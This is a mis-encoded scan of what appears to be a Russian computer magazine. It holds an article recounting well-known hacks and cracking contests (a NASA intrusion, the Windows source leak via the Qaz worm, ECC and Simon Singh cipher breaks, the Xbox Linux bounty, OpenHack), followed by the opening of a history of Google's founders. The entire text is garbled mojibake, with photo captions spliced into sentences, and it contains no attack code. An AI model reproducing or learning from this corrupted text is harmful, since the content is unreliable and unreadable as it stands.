ðåäîâûõ òåõíîëîãèé, îñóùåñòâëÿåòñÿ óïðàâëåíèå ñïóòíèêàìè, êîñìè÷å-
ñêèìè êîðàáëÿìè è øàòëàìè. Äîñòóï ê èíôîðìàöèè òàêîãî ðîäà ñòðîãî
çàñåêðå÷åí. Íî 20-ëåòíèé àìåðèêàíåö Ðàéìîíä Òîððè÷åëëè ëåãêèõ ïó-
òåé íå èñêàë � èìåííî ÍÀÑÀ ñòàëà öåëüþ åãî âçëîìà. Íà îäíîì èç ïðà-

ñóäÿ ïî íàêëåéêå, ýòîò äèñê
õîðîøî çàùèùåíîôèöèàëüíûé ñàéò pitbull, îäíîé èç ëó÷øèõ ñèñòåì çàùèòû

îäíî èç ñàìûõ çàùèùåííûõ ìåñò ïëàíåòû Ïåíòàãîí

ñòàòüÿ î âñåìèðíî èçâåñòíîì õàêåðå Analyzer



âèòåëüñòâåííûõ êîìïüþòåðîâ Ðàéìîíä óñòàíîâèë.. IRC-ñåðâåð äëÿ áå-
ñåä ñî ñâîèìè äðóçüÿìè èç õàêãðóïïû Conflict. À íà îäíîì èç ñåðâåðîâ
áûë óñòàíîâëåí ñíèôåð, îòëàâëèâàþùèé ïàðîëè ïîëüçîâàòåëåé Ãîñ-
Óíèâåðñèòåòà Ñàí-Õîñå. Õàêåð áûë àðåñòîâàí â ñîáñòâåííîì äîìå, ïðÿ-
ìî çà êîìïüþòåðîì, íà êîòîðîì íàøëèñü âñå äîêàçàòåëüñòâà åãî âèíû.
Øòðàô íà 250 000 äîëëàðîâ è òþðåìíîå çàêëþ÷åíèå � òàêîâà ïëàòà çà
ðàçìåùåíèå IRC-ñåðâåðà íà ïðàâèòåëüñòâåííîì êîìïüþòåðå.
Ñïðàâåäëèâîñòè ðàäè íàäî ñêàçàòü, ÷òî íè÷åãî îñîáî ñòðàøíîãî õàêå-
ðû íå íàäåëàëè, è, ïîæàëóé, íå ìîãëè íàäåëàòü. Çàïóñòèòü ÿäåðíûå
áîåãîëîâêè èëè ïîñëàòü ñïóòíèê íà íîâóþ îðáèòó ó âçëîìùèêîâ âîç-
ìîæíîñòè íåò. Ïîêà íåò�
Òû íàâåðíÿêà íàñëûøàí î êðàæå èñõîäíèêîâ âèíäû. Õàêåðû çàâëàäåëè
èìè, çàïóñòèâ â êîðïîðàòèâíóþ ñåòü êîìïàíèè ÷åðâÿ Qaz, ïåðåõâàòû-
âàþùåãî âñå ïàðîëè. Âèäèìî, êàêîé-òî ñîòðóäíèê ïîëó÷èë çàðàæåííîå

ïèñüìî è îòêðûë àòòà÷ ñ çàðàçîé, à àíòèâèðó-
ñà íà êîìïüþòåðå íå áûëî. Ïåðåõâàòèâ ïà-
ðîëü, çëîóìûøëåííèê ïîëó÷èë äîñòóï ê ñèñòå-
ìå è ñêà÷àë ñ îäíîãî èç ñåðâåðîâ èñõîäíûå êî-
äû îïåðàöèîííûõ ñèñòåì Windows NT 4 è Win-
dows 2000. Âñå âûøåñêàçàííîå íå îôèöèàëü-
íûå ôàêòû, à ãóëÿþùèå ïî Ñåòè ñëóõè, íå â êî-
åì ñëó÷àå íà îáúåêòèâíîñòü íå ïðåòåíäóþùèå.
Òåì íå ìåíåå, èñõîäíûå êîäû îïåðàöèîíîê
äåéñòâèòåëüíî ìîæíî áûëî îáíàðóæèòü â ôàé-

ëîîáìåííûõ ñåòÿõ. Íî íèêàêîé âèðóñíîé ýïèäåìèè è îáèëèÿ ýêñïëîé-
òîâ ïîä âèíäó íå ïîñëåäîâàëî � îïàñíîñòü îêàçàëàñü ãîðàçäî ìåíåå
ñòðàøíîé, ÷åì ïðåäïîëàãàëè ýêñïåðòû. Íî ãëàâíîå äàæå íå ýòî, à òî,
÷òî äàæå òàêàÿ êîðïîðàöèÿ, êàê Ìàéêðîñîôò, íå ìîæåò ñîõðàíèòü âñå
ñâîè òàéíû â áåçîïàñíîñòè. ×òî óæ ãîâîðèòü î äðóãèõ êîìïàíèÿõ? 

[êðèïòîãðàôèÿ] Ôèðìà Certicom â ìèðå êðèïòîãðàôèè èçâåñòíà ñâîèì
àëãîðèòìîì ECC. Àëãîðèòì íàìíîãî ýêîíîìè÷íåé è áåçîïàñíåé ïîïó-
ëÿðíîãî RSA, 164-áèòíûé ECC ýêâèâàëåíòåí 1024-áèòíîìó RSA. Certi-
com ñîãëàñíà áûëà âûïëàòèòü íàãðàäó â 10 òûñÿ÷ äîëëàðîâ òîìó, êòî ñó-
ìååò ïðîèçâåñòè ðàñøèôðîâêó àëãîðèòìà. Ôðàíöóçñêèå ýíòóçèàñòû
ñâîáîäíîãî ÏÎ, ðàáîòàÿ ïîëãîäà è èñïîëüçóÿ 597 êîìïüþòåðîâ, ñóìåëè
âçëîìàòü ECC äëèíîé â 108 áèò. Îíè ïîëó÷àò òîëüêî 2 òûñÿ÷è, îñòàëü-
íûå äåíüãè ïîéäóò â ôîíä ðàçâèòèÿ ñâîáîäíîãî ÏÎ.
Ýòîò âçëîì îêàçàëñÿ î÷åíü âàæíûì � îí ïîêàçàë, ÷òî äàæå 1024-áèò-
íûé êëþ÷ óæå íå äàåò ñòîïðîöåíòíîé çàùèòû, è íîâûå àëãîðèòìû íå ÿâ-
ëÿþòñÿ âûõîäîì èç ïîëîæåíèÿ. 
Åùå îäèí íàøóìåâøèé õàê ñîâåðøèëè øâåäñêèå êðèïòîãðàôû, ðàñ-
øèôðîâàâøèå àëãîðèòì Ñàéìîíà Ñàéíà. Ñàéí � ïðîôåññîð ôèçèêè â
êåìáðèäæñêîì óíèâåðñèòåòå, àâòîð «Êíèãè êîäîâ» � ó÷åáíèêà ïî
êðèïòîãðàôèè. Îí è åãî ïîìîùíèêè íàïèñàëè 10 êîäîâ ðàçëè÷íîé
ñëîæíîñòè, ïîòðàòèâ íà ðàçðàáîòêó îêîëî ãîäà, è ñ÷èòàëè ñâîè àëãî-
ðèòìû ôàêòè÷åñêè íåóÿçâèìûìè. Ñàéìîí äàæå îáúÿâèë íàãðàäó çà
âçëîì âñåõ 10 êîäîâ � 15 êèëîáàêñîâ. Ôðåäåðèê Àëüìãðåí çàèíòåðå-
ñîâàëñÿ ýòèìè àëãîðèòìàìè ïîòîìó, ÷òî îíè èñïîëüçóþòñÿ â ñèñòåìàõ

îôèöèàëüíûé ñàéò NASA

Ìàéêë Ðîáåðòñîí �
ñïîíñîð âçëîìà Xbox
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áåçîïàñíîñòè îíëàéíîâûõ áàíêîâ è ìàãàçè-
íîâ. Ôðåäåðèê ðàçãàäàë âñå øèôðû, ïðîäå-
ìîíñòðèðîâàâ ìèðó ñëàáîñòü êðèïòîãðàôèè,
èñïîëüçóþùåéñÿ â web. 
Íà ñåãîäíÿøíèé äåíü ñàìûì íàäåæíûì àëãîðèòìîì ñ÷èòàåòñÿ ñòàí-
äàðò øèôðîâàíèÿ ÑØÀ � Rijndael. Áåëüãèéñêóþ ðàçðàáîòêó, ïîá-
åäèâøóþ â êîíêóðñå AES, ïîëîìàòü åùå íå óñïåëè. Ïîêà íå óñïåëè.
Ïî-íàñòîÿùåìó íåïðèñòóïíûé àëãîðèòì ìîæíî ñîçäàòü ëèøü ïðè èñ-
ïîëüçîâàíèè êâàíòîâîé êðèïòîãðàôèè, êîòîðàÿ íà ñåãîäíÿøíèé äåíü
ñëèøêîì ñëàáî èçó÷åíà.

[êîíêóðñû] Òû íàâåðíÿêà ñëûøàë èëè ÷èòàë â ][ î âçëîìå èãðîâîé ïðè-
ñòàâêè Xbox, íà êîòîðóþ óìåëüöû óìóäðèëèñü ïîñòàâèòü Linux. Íî çíàë
ëè òû, ÷òî õàêåðû äåëàëè ýòî íå èíòåðåñà ðàäè, à çà î÷åíü õîðîøåå âîç-
íàãðàæäåíèå � 250 000 äîëëàðîâ. Â 2002 àíîíèìíûé ñïîíñîð ðàçìå-
ñòèë íà www.sourceforge.com ñîîáùåíèå î òîì, ÷òî ñîãëàñåí âûïëàòèòü
ýòó ñóììó òîìó, êòî ïðèñïîñîáèò èãðîâóþ êîíñîëü ê ëèíóõó. Êàê îêàçà-
ëîñü, ýòèì ñïîíñîðîì áûë Ìàéêë Ðîáåðòñîí � èñïîëíèòåëüíûé äèðåê-
òîð êîìïàíèè Lindows, èçâåñòíûé ñâîèìè ïîïûòêàìè ñêðåñòèòü Linux è
Windows. Êàê îáúÿñíèë îí ñàì, Ìàéêë ñäåëàë ýòî äëÿ òîãî, ÷òîáû äàòü
ëþäÿì âûáîð � ìîë, ìîíîïîëèè íå ìåñòî â äåìîêðàòè÷åñêîì îáùåñòâå. 
Â õàêåðñêîé ñðåäå äîâîëüíî ïîïóëÿðíûì è àâòîðèòåòíûì ÿâëÿåòñÿ
êîíêóðñ openhack.com. Ýòîò ïðîåêò êîìïàíèè eWeek Labs ñîçäàí äëÿ
âûÿâëåíèÿ óÿçâèìîñòåé â ïîïóëÿðíûõ ïðîãðàììíûõ ïðîäóêòàõ è äëÿ
ïîìîùè ïðåäïðèÿòèÿì, ðàáîòàþùèì â ñôåðå ýëåêòðîííîé êîììåð-
öèè. Âî âðåìÿ ïåðâîãî êîíêóðñà íà ñàéòå www.openhack.com áûë
ðàçìåùåí îíëàéíîâûé ìàãàçèí ñ ìåéë-ñåðâåðîì è áàçîé äàííûõ.
Ôèçè÷åñêè ñåðâåð, íà êîòîðîì ðàñïîëàãàëñÿ ñàéò, íàõîäèëñÿ â Òî-
ðîíòî, â ôèðìå Guardent, ñïåöèàëèçèðóþùåéñÿ íà èíòåðíåò-çàùèòå.
Æåëàþùèì ïðåäëàãàëîñü ïîïðîáîâàòü åãî âçëîìàòü. Openhack
âêëþ÷àë â ñåáÿ íåñêîëüêî ïîäñåòåé, â êîòîðûõ èñïîëüçîâàëèñü ñà-
ìûå ðàçëè÷íûå ÎÑ: Solaris, Linux, OpenBSD Windows NT. Íàñòðàè-
âàòü çàùèòó ñåðâåðà ïîìîãàëè ñïåöèàëèñòû ïî áåçîïàñíîñòè èç Mic-
rosoft è Sun, à ðîëü áðàíäìàóýðà âûïîëíÿë àïïàðàòíûé ôàéðâîë îò
Axent Technologies. Çà ïîâðåæäåíèÿ âåá-ñåðâåðà âçëîìùèê ïîëó÷àë
500 äîëëàðîâ, çà óíè÷òîæåíèå ìåéë-ñåðâåðà � 1500, à çà ïîëó÷åíèå
äîñòóïà ê áàçå äàííûõ � äâå ñ ïîëîâèíîé òîííû âå÷íîçåëåíûõ ïðå-
çèäåíòîâ. Ïîáåäèòåëåì ñòàë êîíñóëüòàíò ïî ÈÒ-çàùèòå Ëóèñ Ìîðà.
Íà ïóòè ê áàçå äàííûõ õàêåð íàøåë 3 óÿçâèìîñòè â ñêðèïòàõ ýëåê-
òðîííîãî ìàãàçèíà MiniVend è 1 óÿçâèìîñòü â ÎÑ Solaris. 
Íà òðåòüåì êîíêóðñå îïåíõàêà ñóììà ãëàâíîãî ïðèçà ñîñòàâèëà óæå 
50 000 äîëëàðîâ. Îíî è ïîíÿòíî � õàêåðàì íóæíî áûëî âçëîìàòü PitBull,
ïðîãðàììó êîìïüþòåðíîé çàùèòû êîìïàíèè Argus Systems Group. Ïèò-
áóëü � íîâîå ñëîâî â ÈÒ-áåçîïàñíîñòè, ñèñòåìà, ðàáîòàþùàÿ ñ ÎÑ íà
óðîâíå ÿäðà, êîíòðîëèðóþùàÿ äîñòóï ê ÔÑ è ïðîöåññàì. Âñå ðàçðàáîò-
êè áûëè çàêðûòûìè, è íèêòî òîëêîì íå çíàë, ÷òî ïðåäñòàâëÿëà ñîáîé çà-
ùèòà. Pitbull ñòàë åäèíñòâåííîé ïðåãðàäîé, êîòîðóþ õàêåðàì íà êîíêóð-
ñå DefCon íå óäàëîñü âçëîìàòü. È íà OpenHack 3 ïðîãðàììà âíîâü îêà-
çàëàñü íåóÿçâèìîé. Âïðî÷åì, ýòîìó ìîæíî íàéòè äðóãîå îáúÿñíåíèå,
ïîìèìî íåïðèñòóïíîñòè ÏÎ. Õàêåðû � ñóïåðïðîôåññèîíàëû, îíè âðÿä
ëè áóäóò ñâåòèòüñÿ íà ïîäîáíûõ êîíêóðñàõ äàæå çà 50 òûñÿ÷ áàêñîâ, à ó
îáû÷íûõ ýíòóçèàñòîâ ïðîñòî íå õâàòèëî êâàëèôèêàöèè.
Åùå îäíó õàëòóðó ïîäêèíóëà ãèêàì Mozilla Foundation � çà 5 íàéäåííûõ
îøèáîê â ñâîåì îãíåëèñå îíà áóäåò âûïëà÷èâàòü ïî 2500 äîëëàðîâ.
Ïÿòü ÷åëîâåê óæå ïîëó÷èëî ñâîè äåíüãè, ìîæåøü óñïåòü è òû � ïðî-
ãðàììà «äåíüãè çà 5 îøèáîê» åùå äåéñòâèòåëüíà.
Êðèïòîàíàëèòèêè ìîãóò çàïîëó÷èòü ìàøèíó Ferrari 360. Íå ïðîñòî òàê,
êîíå÷íî, à çà âçëîì ñèñòåìû øèôðîâàíèÿ êîìïàíèè MegaNet. Ñêà÷àé ñ
ñàéòà www.meganet.com ôàéë ferrari.vme, âåñÿùèé âñåãî ëèøü 147 êè-
ëîâ, è èçâëåêè îòòóäà äîêóìåíò. Èçâëå÷åøü � òåáå îòïðàâÿò àâòîìî-
áèëü. Ïðàâäà, ðàñõîäû ïî òðàíñïîðòèðîâêå çà òâîé ñ÷åò, íî äóìàþ, ýòî
íå îìðà÷èò ðàäîñòè îò ïîáåäû.
Åñëè òû ëþáèë â øêîëå ðåøàòü ìàòåìàòè÷åñêèå çàäà÷êè, ïîïðîáóé ñå-
áÿ â êîíêóðñå Bodacion Technologies. Êàæäûé ó÷àñòíèê ïîëó÷àåò ïîñëå-
äîâàòåëüíîñòü èç 999 ÷èñåë, ñãåíåðèðîâàííûõ ñïåöèàëüíûì àëãîðèò-
ìîì. Çàäà÷à � íàéòè òûñÿ÷íîå ÷èñëî. Òâîÿ íàãðàäà ñîñòàâèò 10 òûñÿ÷

óáèòûõ åíîòîâ, íî ñðàçó ïðåäóïðåæäàþ � çà ïîñëåäíèé ãîä
íèêòî òàê è íå ñîîáðàçèë, ïî êàêîìó àëãîðèòìó ðàñïîëîæå-
íû ÷èñëà�
Íå òàê äàâíî êîìïàíèÿ SDMI, ðåêëàìèðóÿ ñâîè ñðåäñòâà çà-
ùèòû ìóçûêàëüíûõ çàïèñåé îò êîïèðîâàíèÿ, ïîîáåùàëà êàæ-
äîìó, êòî ñìîæåò âçëîìàòü åå àëãîðèòìû 10 000 äîëëàðîâ. 
Ïîîáåùàëà çðÿ, ïîòîìó ÷òî ãðóïïà àìåðèêàíñêèõ èññëå-
äîâàòåëåé âñåãî ÷åðåç íåñêîëüêî äíåé ïîñëå íà÷àëà êîí-
êóðñà íå îñòàâèëà îò çàùèòû è ñëåäà. SDMI ïîíÿâ, ÷òî ïî-
ñëå ýòîãî ïðîäàâàòü ñâîþ ïðîäóêöèþ áóäåò ïðîáëåìàòè÷-
íî, îáúÿâèëà, ÷òî âçëîì íåâîçìîæåí áåç óõóäøåíèÿ êà÷å-
ñòâà çâó÷àíèÿ, à åñëè ýòî êîìó-òî è óäàëîñü, òî èñêëþ÷è-
òåëüíî ñëó÷àéíî. Äåíåã ñâîèõ õàêåðû òàê è íå ïîëó÷èëè,
õîòÿ ëó÷øèì ïîäòâåðæäåíèåì ñëàáîñòè àëãîðèòìîâ SDMI
ÿâëÿåòñÿ îáèëèå ïèðàòñêèõ äèñêîâ íà ëþáîì ðûíêå.

[èòîãè] Â ýòîé ñòàòüå ÿ õîòåë ðàññêàçàòü òåáå î ïðîãðàììíûõ ïðîäóê-
òàõ, êîòîðûå íå ñìîãëè ñëîìàòü êðýêåðû. Íî, êàê îêàçàëîñü, ëîìàëè âñå:
îò ìåëêèõ óòèëèò äî îïåðàöèîííûõ ñèñòåì. Åäèíñòâåííàÿ çàùèòà, êîòî-
ðóþ äåéñòâèòåëüíî êðýêíóòü íåâîçìîæíî � ýòî äåìîâåðñèè, ãäå ïîëü-
çîâàòåëü ïîëó÷àåò ïîëíîôóíêöèîíàëüíóþ ïðîãðàììó ëèøü ïîñëå òîãî,
êàê åå êóïèò. Ïðèìåðîì òàêîé ïðîãðàììû ìîæåò ñëóæèòü Xspider, äëÿ
ñåäüìîé âåðñèè êîòîðîãî êðýêà íå ñóùåñòâóåò. 
Íà ðûíêå çàùèò îò êîïèðîâàíèÿ CD-äèñêîâ ëèäèðóåò StarForce � âñå
îñòàëüíûå ëîìàþòñÿ â äîìàøíèõ óñëîâèÿõ çà äåñÿòü ìèíóò. StarForce
æå äî ñèõ ïîð ñ÷èòàåòñÿ íåóÿçâèìûì, õîòÿ êàæäûé íàø ÷èòàòåëü çíàåò,
÷òî äîñòàòî÷íî ïðÿìûõ ðóê è ïðîãðàììû Àëêîãîëü 120%, ÷òîáû êîïèð-
íóòü äèñê ñ äàííûìè. À ñàìûé áåçîïàñíûé ïðîòîêîë ñâÿçè è ïåðåäà÷è
äàííûõ � OpenSSH. Íå îòñòàåò îò íåãî è ssh2 îò êîìïàíèè Datafellows,
êîòîðûé ÿâëÿåòñÿ çàêðûòîé êîììåð÷åñêîé ðàçðàáîòêîé è ñ÷èòàåòñÿ îä-
íèì èç ñàìûõ ñåêóðíûõ. 
Íàäåþñü, ïîñëå ïðî÷òåíèÿ ýòîé ñòàòüè òû ïîíÿë, ÷òî àáñîëþòíàÿ çàùè-
òà � ýòî ÷òî-òî èç æàíðà íàó÷íîé ôàíòàñòèêè. Âçëîìàòü, äåéñòâèòåëü-
íî, ìîæíî âñå. Âîïðîñ âî âðåìåííûõ è ìàòåðèàëüíûõ çàòðàòàõ. È, êàê
ïîêàçûâàåò ïðàêòèêà, ýòè çàòðàòû íå ÿâëÿþòñÿ çàîáëà÷íûìè 

çåðêàëî äåôåéñà Microsoft.com

armi.mil � ñàìûé âàæíûé ïðàâèòåëüñòâåííûé ñàéò ÑØÀ

äàæå ñàìûé íàäåæíûé
êðèïòîàëãîðèòì ìîæíî âçëîìàòü

ñàìàÿ ñåêóðíàÿ ÎÑ OpenBSD





[Áðèí è Ïåéäæ] Èñòîðèÿ ñîçäàíèÿ Google íà-
ïîìèíàåò ñòàâøèå óæå çíàìåíèòûìè èñòîðèè
Apple èëè Hewlett Packard: «äâîå ìîëîäûõ ëþ-
äåé íà÷èíàþò ïðåòâîðÿòü â æèçíü ñâîè èäåè â
ãàðàæå�». Íî íà÷íåì ñ ñàìîãî íà÷àëà.
Ñåðãåé Áðèí ðîäèëñÿ â Ìîñêâå â 1973 ãîäó â
ñåìüå ìàòåìàòèêîâ � åãî îòåö áûë øêîëü-
íûì ó÷èòåëåì, à äåä ïðåïîäàâàë ìàòåìàòèêó
â 50-õ ãîäàõ â ÌÝÈ. Â 1979 ñåìüÿ ïåðååõàëà
èç ÑÑÑÐ â øòàòû ïî àìåðèêàíñêîé ïðîãðàì-
ìå ýìèãðàöèè äëÿ ëèö ñ åâðåéñêèìè êîðíÿìè.
Òàì îòåö Ñåðãåÿ, Ìèõàèë Áðèí, ñòàë ïðåïî-
äàâàòü â óíèâåðñèòåòå øòàòà Ìýðèëåíä, à
ìàòü ðàáîòàòü â NASA ó÷åíûì ñïåöèàëèñòîì.
Ñ ñàìîãî äåòñòâà îí è åãî ìëàäøèé áðàò Ñýì
ïðîÿâëÿëè èíòåðåñ ê êîìïüþòåðíîé òåõíèêå.
Ïåðâûì êîìïüþòåðîì Ñåðãåÿ áûë Commodo-

Â 1938 ÃÎÄÓ Â ÆÓÐÍÀËÅ SCRIPTA MATHEMATI-
CA ÁÛËÀ ÎÏÓÁËÈÊÎÂÀÍÀ ÍÀÓ×ÍÀß ÐÀÁÎÒÀ
ÀÌÅÐÈÊÀÍÑÊÎÃÎ ÌÀÒÅÌÀÒÈÊÀ ÝÄÂÀÐÄÀ ÊÀÇ-
ÍÅÐÀ, Â ÊÎÒÎÐÎÉ ÂÏÅÐÂÛÅ ÈÑÏÎËÜÇÎÂÀ-
ËÎÑÜ ÑËÎÂÎ «ÃÓÃÎË» (GOOGOL), ÎÇÍÀ×ÀÂ-
ØÅÅ ×ÈÑËÎ 10 Â ÑÎÒÎÉ ÑÒÅÏÅÍÈ, ÒÎ ÅÑÒÜ
ÅÄÈÍÈÖÓ ÑÎ ÑÒÀ ÍÓËßÌÈ. ÝÒÎ ÑÌÅØÍÎÅ
ÍÀÇÂÀÍÈÅ ÄËß ×ÈÑËÀ ÏÐÈÄÓÌÀË ÄÅÂßÒÈ-
ËÅÒÍÈÉ ÏËÅÌßÍÍÈÊ ÊÀÇÍÅÐÀ. ÑÅÃÎÄÍß ÑËÎ-
ÂÎ «ÃÓÃË», Ó ÊÎÃÎ ÍÈ ÑÏÐÎÑÈ, ÀÑÑÎÖÈÈÐÓ-
ÅÒÑß ÑÎÂÑÅÌ ÍÅ Ñ ÌÀÒÅÌÀÒÈ×ÅÑÊÎÉ ÂÅËÈ-
×ÈÍÎÉ, À Ñ ÑÀÌÎÉ ÏÎÏÓËßÐÍÎÉ ÏÎÈÑÊÎ-
ÂÎÉ ÑÈÑÒÅÌÎÉ Â ÈÍÒÅÐÍÅÒÅ. ÎÁ ÈÑÒÎÐÈÈ
ÑÒÀÍÎÂËÅÍÈß ÊÎÌÏÀÍÈÈ GOOGLE È ÏÎÉÄÅÒ
ÐÅ×Ü Â ÝÒÎÉ ÑÒÀÒÜÅ | Rossomahaar (rossomahaar@mail.ru)
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re-64, ïîäàðåííûé åìó îòöîì. Îäíàæäû ïåðâîêëàññíèêó Áðèíó óäà-
ëîñü ñèëüíî óäèâèòü ó÷èòåëåé øêîëû òåì, ÷òî îí âûïîëíèë äîìàø-
íåå çàäàíèå íà êîìïüþòåðå è ïðèíåñ åãî ðàñïå÷àòàííûì íà ïðèíòå-
ðå � â íà÷àëå âîñüìèäåñÿòûõ äàæå â ÑØÀ ïåðñîíàëüíûå êîìïüþòå-
ðû áûëè ðåäêèì ÿâëåíèåì.
Îêîí÷èâ øêîëó, Ñåðãåé, êîíå÷íî æå, ïîñòóïàåò íà ôàêóëüòåò ìàòå-
ìàòèêè óíèâåðñèòåòà Ìýðèëåíäà, êîòîðûé îí îêàí÷èâàåò äîñðî÷íî,
çàðàáîòàâ ñåáå ïðåñòèæíóþ ñòèïåíäèþ NSGF. Ñòèïåíäèÿ ïîçâîëè-
ëà åìó ïðîäîëæèòü îáó÷åíèå â Ñòýíäôîðäñêîì óíèâåðñèòåòå, ïðè-
÷åì ïðèíÿò îí áûë ñðàçó â äîêòîðàíòóðó � óíèâåðñèòåòû ÑØÀ
èíîãäà ïîçâîëÿþò îäàðåííûì ñòóäåíòàì ïåðåñêî÷èòü ÷åðåç ñòå-
ïåíü ìàãèñòðà è èäòè îò áàêàëàâðà ñðàçó ê äîêòîðñêîé ñòåïåíè, à
ñòåïåíü ìàãèñòðà àñïèðàíòóðû ïîëó÷àþò óæå â ïðîöåññå îáó÷åíèÿ.
Èòàê, â 1993 Áðèí ïîêèäàåò Ìýðèëåíä è ïåðååçæàåò â ãîðîä Ïàëî-
Àëüòî, ðàñïîëîæåííûé â êàëèôîðíèéñêîé Êðåìíèåâîé äîëèíå, ãäå
íàõîäèòñÿ Ñòýíäôîðäñêèé óíèâåðñèòåò. Â 1995 ãîäó Ñåðãåé Áðèí
ïîëó÷èò ñòåïåíü ìàãèñòðà, ïëàíèðóÿ åùå ÷åðåç äâà ãîäà ñòàòü äîê-
òîðîì òåõíè÷åñêèõ íàóê ñî ñïåöèàëèçàöèåé â èíôîðìàöèîííûõ
òåõíîëîãèÿõ.
Â ïåðâûé ãîä îáó÷åíèÿ â Ñòýíôîðäå Ñåðãåé íàïèñàë äîâîëüíî èíòåðåñ-
íóþ ïðîãðàììó, óìåþùóþ àâòîìàòè÷åñêè ñêà÷èâàòü ñâåæèå ôîòêè äåâ-
÷îíîê ñ ñàéòà Playboy è óñòàíàâëèâàòü èõ â êà÷åñòâå ñêèíñåéâåðà íà åãî
êîìïüþòåðå. Åãî ñîêóðñíèêè ïîçäíåå îòìå÷àëè, ÷òî âïåðâûå óâèäåëè
òîãäà ïðîãðàììó, íàõîäèâøóþ èíôîðìàöèþ â Èíòåðíåòå â àâòîìàòè÷å-
ñêîì ðåæèìå. Ïðîæèëà ýòà ïðîãðàììêà ñîâñåì íåäîëãî (òàê êàê î÷åíü
íå ïîíðàâèëàñü ïîäðóæêå Ñåðåãè). Íî òåìà ïîèñêà èíôîðìàöèè ñòàëà
íàáëþäàòüñÿ âî ìíîãèõ íàó÷íûõ ðàáîòàõ Ñåðãåÿ.
Ëîðåíñ Ïåéäæ ðîäèëñÿ â ñåìüå çíàìåíèòîãî êîìïüþòåðùèêà, îäíîãî èç
ïèîíåðîâ êîìïüþòåðîñòðîåíèÿ, Êàðëà Ïåéäæà. Êàê è Ñåðãåÿ, Ëàððè ñ
äåòñòâà îêðóæàëè êîìïüþòåðû. Îíè áûëè åãî ãëàâíûì óâëå÷åíèåì, íî
îñîáåííî åãî èíòåðåñîâàëî «æåëåçî». 
Ïîñëå øêîëû ïàðåíü ïîñòóïèë â óíèâåðñèòåò øòàòà Ìè÷èãàí, ãäå åãî
îòåö ïðåïîäàâàë êóðñ òåîðèè âû÷èñëèòåëüíûõ ñèñòåì. Ñóùåñòâóåò
èíòåðåñíàÿ èñòîðèÿ î òîì, êàê Ëàððè îäíàæäû ñîáðàë ìîäåëè ÷åðíî-
áåëîãî ñòðóéíîãî ïðèíòåðà è ïëîòòåðà èç íàáîðà äåòàëåé êîíñòðóêòî-
ðà Lego. Âî âðåìÿ ó÷åáû îí ó÷àñòâîâàë âî ìíîãèõ óíèâåðñèòåòñêèõ
íàó÷íûõ îáùåñòâàõ, ÷àñòî � â êà÷åñòâå ðóêîâîäèòåëÿ. Îêîí÷èâ ñ îò-
ëè÷èåì óíèâåðñèòåò, Ïåéäæ ðåøèë ïðîäîëæèòü ñâîå îáó÷åíèå â ýëèò-
íîì Ñòýíôîðäå.
Â ìàðòå 1995 ãîäà Ëàððè âìåñòå ñ ãðóïïîé âûïóñêíèêîâ Ìè÷èãàíñêî-
ãî óíèâåðñèòåòà ïðèåõàë â Ñòýíôîðä. Íà òîò ìîìåíò åìó áûëî óæå 24
ãîäà. Îçíàêîìèòü ãðóïïó ñ óíèâåðñèòåòîì ïîðó÷èëè Ñåðãåþ Áðèíó,
êîòîðûé ïðîó÷èëñÿ òàì óæå äâà ãîäà. 
Ó÷àñòíèêè ýêñêóðñèè âïîñëåäñòâèè ðàññêàçûâàëè, ÷òî Ëàððè è Ñåð-
ãåé âåñüìà íå ïîíðàâèëèñü äðóã äðóãó � îíè íà÷èíàëè ñïîðèòü ïî
ëþáîìó ïóñòÿêó, êàæäûé ñòðåìèëñÿ äîêàçàòü ïðàâèëüíîñòü ñâîåé
òî÷êè çðåíèÿ. Âåðîÿòíî, íà ýòîé ïî÷âå îíè è ñîøëèñü, ñòàâ âñêîðå
áëèçêèìè äðóçüÿìè.

1 îñíîâàòåëè Google Inc.

2 Ýðèê Øìèäò, äèðåêòîð Google
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ñäåëàâ åãî áîëåå áëàãîçâó÷íûì. Íàçâàíèå êàê íåëüçÿ ëó÷øå îòðàæàåò
ïðåäíàçíà÷åíèå ñåðâèñà � ñòðóêòóðèðîâàòü îãðîìíîå êîëè÷åñòâî èí-
ôîðìàöèè, ñòðåìÿùååñÿ ñâîèìè îáúåìàìè ê ÷èñëó ãóãîë. Âåñü 1997 ãîä
ïîèñêîâèê èñïîëüçîâàëè ñòóäåíòû Ñòýíôîðäà, ïðåáûâàâøèå îò íåãî â
âîñòîðãå. À â 1998 ãîäó áåòà-âåðñèÿ Google áûëà çàïóùåíà íà ñåðâåðå
Ñòýíäôîðäñêîãî óíèâåðñèòåòà. Íàéòè åãî ìîæíî áûëî ïî àäðåñó
http://google.stanford.edu. Â òîì æå ãîäó Ñåðãåé Áðèí è Ëàððè Ïåéäæ ïî-

ëó÷àþò âîçìîæíîñòü ïðåïîäàâàòü â óíèâåðñèòåòå. Ïî âòîðíèêàì è
÷åòâåðãàì îíè âåäóò ëåêöèè ïî êóðñó «Àíàëèç äàííûõ, ïîèñê

è Âñåìèðíàÿ ïàóòèíà».
Ëåòîì 1998 ãîäà Ñåðãåé âñòðåòèëñÿ ñ Äýâèäîì Ôèëî,

ñîçäàòåëåì Yahoo! (êñòàòè, òîæå áûâøèì ñòóäåíòîì
Ñòýíôîðäà). Íà ïðåäëîæåíèå Ñåðãåÿ î ïðîäà-

æå Google, Äýâèä äàë îòêàç è ïîñîâåòîâàë
òîìó çàíèìàòüñÿ íå ïîèñêàìè ïîêóïàòåëÿ
äàííîé òåõíîëîãèè, à îðãàíèçîâàòü ñîá-

ñòâåííóþ êîìïàíèþ, ñïåöèàëèçèðóþùóþñÿ íà
ïîèñêå èíôîðìàöèè â Èíòåðíåòå. 

Â ýòîì ãîäó ó Ïåéäæà è Áðèíà íà÷àëèñü ïðîáëåìû ñ ðó-
êîâîäñòâîì óíèâåðñèòåòà. Èì ïðè÷èñëÿëîñü êîìïüþòåð-

íîå õóëèãàíñòâî � ðîáîò Ãóãëà íå îáðàùàë âíèìàíèÿ íà
ôàéëû robots.txt, êà÷àÿ òàêèì îáðàçîì, âíóòðåííþþ óíèâåðñèòåò-

ñêóþ èíôîðìàöèþ. Êðîìå òîãî, Google ñúåäàë 50% âñåãî óíèâåðñèòåò-
ñêîãî òðàôèêà � èì ïîëüçîâàëîñü óæå îêîëî 10 òûñÿ÷ ÷åëîâåê â äåíü.
Ñåðãåþ è Ëàððè äàëè ïîíÿòü, ÷òî äàëüíåéøåå ïðèñóòñòâèå èõ ïîèñêîâîé
ñèñòåìû íà ñåðâåðå óíèâåðñèòåòà íåæåëàòåëüíî.

